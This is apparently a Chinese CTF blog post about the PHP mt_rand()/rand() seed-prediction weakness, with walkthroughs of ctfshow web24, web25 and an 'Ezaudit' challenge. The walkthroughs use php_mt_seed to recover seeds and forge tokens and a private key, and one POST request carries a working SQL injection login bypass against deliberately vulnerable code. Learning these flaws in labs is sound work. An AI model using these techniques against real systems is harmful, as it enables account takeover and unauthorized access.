PHP伪随机数漏洞

由于mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。举一个简单的例子来说明一下这个问题,假设使用mt_srand(1111111)进行了一次播种操作,接下来调用mt_rand()函数,第一次生成的数值为a,第二次生成的为b,第三次生成的为c。任何一个人拿到这样的一串代码,所执行的结果都是跟刚刚描述的一样。所以当你的seed数值被他人知道后,就可以预测出你接下来的数值是多少,这就是该函数的一个问题,他并不能起到一个真随机数的作用。

函数介绍

1
2
3
4
5
6
7
8
mt_scrand() //播种 Mersenne Twister 随机数生成器。
mt_rand() //生成随机数

srand() //给rand()函数播种
rand() //不指定参数时,范围0-32767


#mt_rand()和rand()产生的最大随机数都是2^31-1

简单来说mt_scrand()通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数

mt_srand()

1
mt_srand([ int $seed] ) : void

mt_rand()

1
2
3
mt_rand( void) : int

mt_rand( int $min, int $max) : int

用 seed 来给随机数发生器播种。没有设定 seed 参数时,会被设为随时数。使用者在进行一次mt_srand()操作后,seed数值将被固定下来,给接下来的mt_rand()函数使用。

实例:

1
2
3
4
5
6
7
8
<?php
mt_srand();
echo mt_rand() . "\n";
echo mt_rand(5, 15). "\n";
mt_srand(1234);
echo mt_rand() . "\n";
echo mt_rand(5, 15);
?>

运行结果

1
2
3
4
497738439
11
1741177057
10

mt_rand()存在的问题

由于mt_rand()的生成的随机数只跟seed和调用该函数的次数有关。举一个简单的例子来说明一下这个问题,假设使用mt_srand(1111111)进行了一次播种操作,接下来调用mt_rand()函数,第一次生成的数值为a,第二次生成的为b,第三次生成的为c。任何一个人拿到这样的一串代码,所执行的结果都是跟刚刚描述的一样。所以当你的seed数值被他人知道后,就可以预测出你接下来的数值是多少,这就是该函数的一个问题,他并不能起到一个真随机数的作用。

说到mt_rand() 和mt_srand(),这里也顺便提及rand()和 srand()

代码实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-Type:text/html;charset=utf-8");
srand(123);
mt_srand(1234);
echo "rand在种子是123时产生的随机数序列:\n";

for($i = 0; $i < 5 ;$i++){
echo rand()."\n";
}

echo "mt_srand在种子是1234时产生的随机数序列:\n";
for($k=0 ;$k < 5; $k++){
echo mt_rand()."\n";
}
?>

运行结果

1
2
3
4
5
6
7
8
9
10
11
12
rand在种子是123时产生的随机数序列:
440
19053
23075
13104
32363
mt_srand在种子是1234时产生的随机数序列:
1741177057
1068724585
1335968403
400890732
1196196624

当种子固定时,每次运行代码时,mt_rand和rand所产生的的随机数分别是一样的,所以如果我们在代码中自己播种了随机数种子,但是泄露了这个种子,就会导致产生的随机数序列被别人猜到,造成安全问题。

注意:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 给随机数发生器播种 ,因为现在是由系统自动完成的。

固定的种子

mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。

我们来写段代码。

1
2
3
4
<?php   
mt_srand(12345); #分发seed种子12345
echo mt_rand()."\n"; #mt_rand()生成随机数
?>

输出结果是162946439。

修改代码

1
2
3
4
5
6
7
8
<?php  
mt_srand(12345);
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
echo mt_rand()."\n";
?>

代码运行结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
第一次运行结果:   
162946439
247161732
1463094264
1878061366
394962642

第二次运行结果:
162946439
247161732
1463094264
1878061366
394962642

第三次运行结果:
162946439
247161732
1463094264
1878061366
394962642

无论运行多少次,结果都是一样的。当种子不变时,实际上生成的随机数是固定的。而这就是伪随机数漏洞

得到相同的种子

这里有个trick是,可以通过Keep-Alive HTTP头,迫使服务端使用同一PHP进程相应请求,所以也就能使种子保持一直.

别的就依赖PHP程序员出错了.

常见题型

1.根据种子预测随机数

根据题中所给的种子生成随机数

ctfshow-web入门-web24

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

?>

显然是伪随机数,编写php脚本用种子生成随机数

1
2
3
4
<?php
mt_srand(372619038);
echo mt_rand();
?>

运行得到随机数1155388967

1
2
Paylaod: ?r=1155388967
#ctfshow{14824218-bc8e-452e-a581-e910df8f1cab}

2.根据随机数预测种子

既然知道了,同一个种子生成的序列是固定的,那么也能根据序列猜测seed

工具:php_mt_seed:https://github.com/lepiaf/php_mt_seed
Linux下安装使用方法

1
2
3
4
git clone https://github.com/openwall/php_mt_seed.git
cd php_mt_seed/
gcc php_mt_seed.c -o php_mt_seed
make

使用方法 ./php_mt_seed 随机数

先用种子123456生成一个随机数

1
2
3
4
<?php  
mt_srand(12345);
echo mt_rand();
?>

得到随机数162946439,然后使用php_mt_seed工具查找种子

1
2
3
4
5
6
7
8
9
10
┌──(kali㉿kali)-[~/php_mt_seed/php_mt_seed-main]
└─$ ./php_mt_seed 162946439
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 103.5 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x00003039 = 12345 (PHP 5.2.1 to 7.0.x; HHVM)
Found 1, trying 0x04000000 - 0x05ffffff, speed 0.9 Mseeds/s
seed = 0x05efcd66 = 99601766 (PHP 7.1.0+)

这个12345就是我们上面设置的种子

注意:php_mt_seed 工具只能用于爆破mt_rand()函数产生的随机数的种子值, 无论是否显式调用mt_srand()函数播种,但不能用于mt_rand(1,1000)这种指定范围的和rand函数的爆破

ctfshow-web入门-web25

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}

审计代码知道我们传入的参数减去生成的mt_rand()要等于0才能进入下一个判断

1
$rand = intval($r)-intval(mt_rand());

mt_rand()未知,但是当判断不正确时,会输出$rand,尝试反推出mt_srand。

1
2
?r=0
-214290638

此时rand=-214290638,所以得到mt_rand=214290638,

通过抓包查看响应头我们可以知道该php版本为7.3.11,接下来爆破种子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(kali㉿kali)-[~/php_mt_seed/php_mt_seed-main]
└─$ time ./php_mt_seed 214290638 130
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xb8000000 - 0xbbffffff, speed 81.9 Mseeds/s
seed = 0xba9c3466 = 3130799206 (PHP 3.0.7 to 5.2.0)
seed = 0xba9c3467 = 3130799207 (PHP 3.0.7 to 5.2.0)
Found 2, trying 0xfc000000 - 0xffffffff, speed 81.2 Mseeds/s
Version: 5.2.1+
Found 2, trying 0x2e000000 - 0x2fffffff, speed 0.9 Mseeds/s
seed = 0x2f5150d3 = 793858259 (PHP 5.2.1 to 7.0.x; HHVM)
Found 3, trying 0xbe000000 - 0xbfffffff, speed 0.7 Mseeds/s
seed = 0xbefdafcd = 3204296653 (PHP 5.2.1 to 7.0.x; HHVM)
Found 4, trying 0xd4000000 - 0xd5ffffff, speed 0.7 Mseeds/s
seed = 0xd4414cf6 = 3561049334 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xd4414cf6 = 3561049334 (PHP 7.1.0+)

得到种子3561049334

1
2
3
4
5
6
7
8
9
<?php
mt_srand(3561049334);
$r=mt_rand();
$token=mt_rand()+mt_rand();
echo $r."\n";
echo $token;

214290638
2311762511

Payload

1
2
?r=214290638 
Cookie: token=2311762511

Ezaudit

源码泄露,访问/www.zip可下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}

else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}

}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}

//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???

在源码中看到有个login.html
img
继续看代码,输入账号密码以及私钥,用户名已知是crispr了,接下来密码和私钥输对了就能得到flag。密码可以直接用万能密码1’ or ‘1’=’1 来绕过,主要获取私钥。

私钥和公钥的生成都用到了mt_rand(),而公钥的值已经给出了是$Public_key = KVQP0LdJKRaV3n9D,那么我们就可以根据这个公钥推算出种子,然后再根据种子得到私钥。

先要把公钥转换成php_mt_seed可识别的参数,用文档中给的脚本pw2args.php进行转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
php版
<?php
$allowable_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$len = strlen($allowable_characters) - 1;
$pass = $argv[1];
for ($i = 0; $i < strlen($pass); $i++) {
$number = strpos($allowable_characters, $pass[$i]);
echo "$number $number 0 $len ";
}
echo "\n";
?>


python版
str1 ='KVQP0LdJKRaV3n9D'
str2 = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
res =''
length = str(len(str2)-1)
for i in range(len(str1)):
for j in range(len(str2)):
if str1[i] == str2[j]:
res += str(j) + ' ' +str(j) + ' ' + '0' + ' ' + length + ' '
break
print(res)

运行得到

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~/php_mt_seed/php_mt_seed-main]
└─$ php pw2args.php KVQP0LdJKRaV3n9D
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

┌──(kali㉿kali)-[~/php_mt_seed/php_mt_seed-main]
└─$ python3 p.py
36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61

然后使用php_mt_seed爆破种子

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/php_mt_seed/php_mt_seed-main]
└─$ time ./php_mt_seed 36 36 0 61 47 47 0 61 42 42 0 61 41 41 0 61 52 52 0 61 37 37 0 61 3 3 0 61 35 35 0 61 36 36 0 61 43 43 0 61 0 0 0 61 47 47 0 61 55 55 0 61 13 13 0 61 61 61 0 61 29 29 0 61
Pattern: EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62 EXACT-FROM-62
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 42.9 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x68000000 - 0x69ffffff, speed 0.5 Mseeds/s
seed = 0x69cf57fb = 1775196155 (PHP 5.2.1 to 7.0.x; HHVM)

抓包发现PHP/5.6.40,所以种子值为 1775196155

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

function public_key($length = 16) {
mt_srand(1775196155);
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);

return $public_key;
}
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
public_key();
echo private_key();

得到私钥XuNhoueCDCGc

1
2
3
POST /login.php

username=crispr&password=1' or '1'='1&Private_key=XuNhoueCDCGc&login=%E7%99%BB%E5%BD%95

getflag
img https://www.freebuf.com/vuls/192012.html


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!